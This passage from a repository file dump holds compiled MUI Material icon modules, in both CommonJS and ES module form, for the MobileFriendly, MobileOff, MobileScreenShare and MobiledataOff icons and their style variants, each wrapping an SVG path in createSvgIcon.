    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendlyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendlyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V4h10v16H9v-1c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-1.92-1.92c-.35-.35-.92-.35-1.27 0s-.35.92 0 1.27l2.47 2.47c.39.39 1.02.39 1.41 0l5.85-5.85c.35-.35.35-.92 0-1.27s-.92-.35-1.27 0z\"\n}), 'MobileFriendlyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V4h10v16H9v-1c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-1.92-1.92c-.35-.35-.92-.35-1.27 0s-.35.92 0 1.27l2.47 2.47c.39.39 1.02.39 1.41 0l5.85-5.85c.35-.35.35-.92 0-1.27s-.92-.35-1.27 0z\"\n}), 'MobileFriendlyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H7v5h2V4h10v16H9v-2H7v5h14zM7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendlySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7v5h2V4h10v16H9v-2H7v5h14zM7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendlySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendlyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileFriendlyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1H9c-1.1 0-2 .9-2 2v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7.01 13.47l-2.55-2.55-1.27 1.27L7 16l7.19-7.19-1.27-1.27z\"\n}), 'MobileFriendlyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.76 2.49 1.49 3.76 5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75l1.72 1.72 1.27-1.27zM7 19V9.27L16.73 19zM17 5v9.17l2 2V3c0-1.1-.9-2-2-2H7c-.85 0-1.58.54-1.87 1.3L7.83 5z\"\n}), 'MobileOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.76 2.49 1.49 3.76 5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75l1.72 1.72 1.27-1.27zM7 19V9.27L16.73 19zM17 5v9.17l2 2V3c0-1.1-.9-2-2-2H7c-.85 0-1.58.54-1.87 1.3L7.83 5z\"\n}), 'MobileOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v8.61l2 2V3c0-1.1-.9-2-2-2H7c-.71 0-1.33.37-1.68.93L8.39 5zM1.49 3.76 5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75l1.72 1.72 1.41-1.41L2.9 2.35zM7 9.27 16.73 19H7z\"\n}), 'MobileOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v8.61l2 2V3c0-1.1-.9-2-2-2H7c-.71 0-1.33.37-1.68.93L8.39 5zM1.49 3.76 5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75l1.72 1.72 1.41-1.41L2.9 2.35zM7 9.27 16.73 19H7z\"\n}), 'MobileOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.44 3.61 3.05a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75L20 22.27c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L19 18.44zM7 19V9.27L16.73 19zM17 5v8.61l2 2V3c0-1.1-.9-2-2-2H7c-.71 0-1.33.37-1.68.93L8.39 5z\"\n}), 'MobileOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.44 3.61 3.05a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75L20 22.27c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L19 18.44zM7 19V9.27L16.73 19zM17 5v8.61l2 2V3c0-1.1-.9-2-2-2H7c-.71 0-1.33.37-1.68.93L8.39 5z\"\n}), 'MobileOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v8.61l2 2V1H5v.61L8.39 5zM2.9 2.35 1.49 3.76 5 7.27V23h14v-1.73l1.7 1.7 1.41-1.41zM7 19V9.27L16.73 19z\"\n}), 'MobileOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v8.61l2 2V1H5v.61L8.39 5zM2.9 2.35 1.49 3.76 5 7.27V23h14v-1.73l1.7 1.7 1.41-1.41zM7 19V9.27L16.73 19z\"\n}), 'MobileOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v8.61l2 2V3c0-1.1-.9-2-2-2H7c-.71 0-1.33.37-1.68.93L8.39 5zM1.49 3.76 5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75l1.72 1.72 1.41-1.41L2.9 2.35zM7 9.27 16.73 19H7z\"\n}), 'MobileOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v8.61l2 2V3c0-1.1-.9-2-2-2H7c-.71 0-1.33.37-1.68.93L8.39 5zM1.49 3.76 5 7.27V21c0 1.1.9 2 2 2h10c1.02 0 1.85-.77 1.98-1.75l1.72 1.72 1.41-1.41L2.9 2.35zM7 9.27 16.73 19H7z\"\n}), 'MobileOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-4.2-5.78v1.75l3.2-2.99L12.8 9v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 19H7V5h10zm-4.2-5.78v1.75l3.2-2.99L12.8 9v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShare');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.85-1.99 1.95v18C5.01 22.05 5.9 23 7 23h10c1.1 0 2-.95 2-2.05v-18C19 1.85 18.1 1 17 1m0 18H7V5h10zm-4.2-5.76v1.75L16 12l-3.2-2.98v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.85-1.99 1.95v18C5.01 22.05 5.9 23 7 23h10c1.1 0 2-.95 2-2.05v-18C19 1.85 18.1 1 17 1m0 18H7V5h10zm-4.2-5.76v1.75L16 12l-3.2-2.98v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zm-4.2-5.78v1.75l2.81-2.62c.21-.2.21-.53 0-.73L12.8 9v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 18H7V5h10zm-4.2-5.78v1.75l2.81-2.62c.21-.2.21-.53 0-.73L12.8 9v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 19H7V5h10zm-4.2-5.76v1.75L16 12l-3.2-2.98v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.01 1v22H19V1zM17 19H7V5h10zm-4.2-5.76v1.75L16 12l-3.2-2.98v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}), 'MobileScreenShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10V5H7zm5.8-8.28v-1.7L16 12l-3.2 2.99v-1.75c-2.22 0-3.69.68-4.8 2.18.45-2.14 1.69-4.27 4.8-4.7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.85-1.99 1.95v18C5.01 22.05 5.9 23 7 23h10c1.1 0 2-.95 2-2.05V3c0-1.1-.9-2-2-2m0 18H7V5h10zm-4.2-5.76v1.75L16 12l-3.2-2.98v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}, \"1\")], 'MobileScreenShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobileScreenShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10V5H7zm5.8-8.28v-1.7L16 12l-3.2 2.99v-1.75c-2.22 0-3.69.68-4.8 2.18.45-2.14 1.69-4.27 4.8-4.7\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.85-1.99 1.95v18C5.01 22.05 5.9 23 7 23h10c1.1 0 2-.95 2-2.05V3c0-1.1-.9-2-2-2m0 18H7V5h10zm-4.2-5.76v1.75L16 12l-3.2-2.98v1.7c-3.11.43-4.35 2.56-4.8 4.7 1.11-1.5 2.58-2.18 4.8-2.18\"\n}, \"1\")], 'MobileScreenShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h3l-4-4-4 4h3v4.17l2 2zM2.81 2.81 1.39 4.22 8 10.83v6.18l-3 .01L9 21l4-4-3 .01v-4.18l9.78 9.78 1.41-1.42z\"\n}), 'MobiledataOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h3l-4-4-4 4h3v4.17l2 2zM2.81 2.81 1.39 4.22 8 10.83v6.18l-3 .01L9 21l4-4-3 .01v-4.18l9.78 9.78 1.41-1.42z\"\n}), 'MobiledataOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6.82 1.59 1.59L19 7l-4-4-4 4 1.41 1.41L14 6.82v4.35l2 2zM1.39 4.22 8 10.83v6.35l-1.59-1.59L5 17l4 4 4-4-1.41-1.41L10 17.18v-4.35l9.78 9.78 1.41-1.42L2.81 2.81z\"\n}), 'MobiledataOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6.82 1.59 1.59L19 7l-4-4-4 4 1.41 1.41L14 6.82v4.35l2 2zM1.39 4.22 8 10.83v6.35l-1.59-1.59L5 17l4 4 4-4-1.41-1.41L10 17.18v-4.35l9.78 9.78 1.41-1.42L2.81 2.81z\"\n}), 'MobiledataOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85H14v4.17l2 2zM2.1 3.51c-.39.39-.39 1.02 0 1.41l5.9 5.9V17H6.21c-.45 0-.67.54-.35.85l2.79 2.78c.2.19.51.19.71 0l2.79-2.79c.32-.32.09-.85-.35-.85h-1.79v-4.18l9.07 9.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'MobiledataOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85H14v4.17l2 2zM2.1 3.51c-.39.39-.39 1.02 0 1.41l5.9 5.9V17H6.21c-.45 0-.67.54-.35.85l2.79 2.78c.2.19.51.19.71 0l2.79-2.79c.32-.32.09-.85-.35-.85h-1.79v-4.18l9.07 9.07c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'MobiledataOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h3l-4-4-4 4h3v4.17l2 2zM2.81 2.81 1.39 4.22 8 10.83v6.18l-3 .01L9 21l4-4-3 .01v-4.18l9.78 9.78 1.41-1.42z\"\n}), 'MobiledataOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h3l-4-4-4 4h3v4.17l2 2zM2.81 2.81 1.39 4.22 8 10.83v6.18l-3 .01L9 21l4-4-3 .01v-4.18l9.78 9.78 1.41-1.42z\"\n}), 'MobiledataOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7h3l-4-4-4 4h3v4.17l2 2zM2.81 2.81 1.39 4.22 8 10.83v6.18l-3 .01L9 21l4-4-3 .01v-4.18l9.78 9.78 1.41-1.42z\"\n}), 'MobiledataOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MobiledataOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7h3l-4-4-4 4h3v4.17l2 2zM2.81 2.81 1.39 4.22 8 10.83v6.18l-3 .01L9 21l4-4-3 .01v-4.18l9.78 9.78 1.41-1.42z\"\n}), 'MobiledataOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mode.js",
